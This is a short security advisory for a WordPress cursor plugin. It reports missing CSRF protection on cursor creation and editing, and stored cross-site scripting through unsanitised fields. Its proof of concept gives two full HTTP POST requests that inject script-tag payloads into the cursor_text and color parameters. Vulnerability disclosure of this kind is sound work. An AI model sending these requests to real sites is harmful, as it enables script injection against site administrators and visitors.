The plugin does not have Cross-Site Request Forgery (CSRF) check in place when creating and editing cursors, which could allow attackers to made a logged in admin perform such actions via CSRF attacks. Furthermore, due to the lack of sanitisation and escaping in some of the cursor options, it could also lead to Stored Cross-Site Scripting (XSS).

Proof of Concept

To add a cursor with XSS payloads in it:

POST /wp-admin/admin.php?page=wpcc_add_new HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

cursor_shape=1&cursor_type=text&cursor_image=&click_point=50,50&cursor_text=<script>alert(/XSS-text/)>&color=<script>alert(/XSS-color/)>&width=30&blending_mode=normal&hide_tablet=on&hide_mobile=on&hover_cursor_type=1&hover_cursors=&activate_on=0&selector_type=tag&selector_data=&submit=Save+Cursor

To edit the cursor with ID 1 and set XSS payloads in it:

POST /wp-admin/admin.php?page=wpcc_add_new HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

cursor_shape=1&cursor_type=text&cursor_image=&click_point=50,50&cursor_text=<script>alert(/XSS-text/)>&color=<script>alert(/XSS-color/)>&width=30&blending_mode=normal&hide_tablet=on&hide_mobile=on&hover_cursor_type=1&hover_cursors=&activate_on=0&selector_type=tag&selector_data=&update_id=1&update=Update+Cursor

The XSS will be triggered when viewing the cursor list as well as when editing it.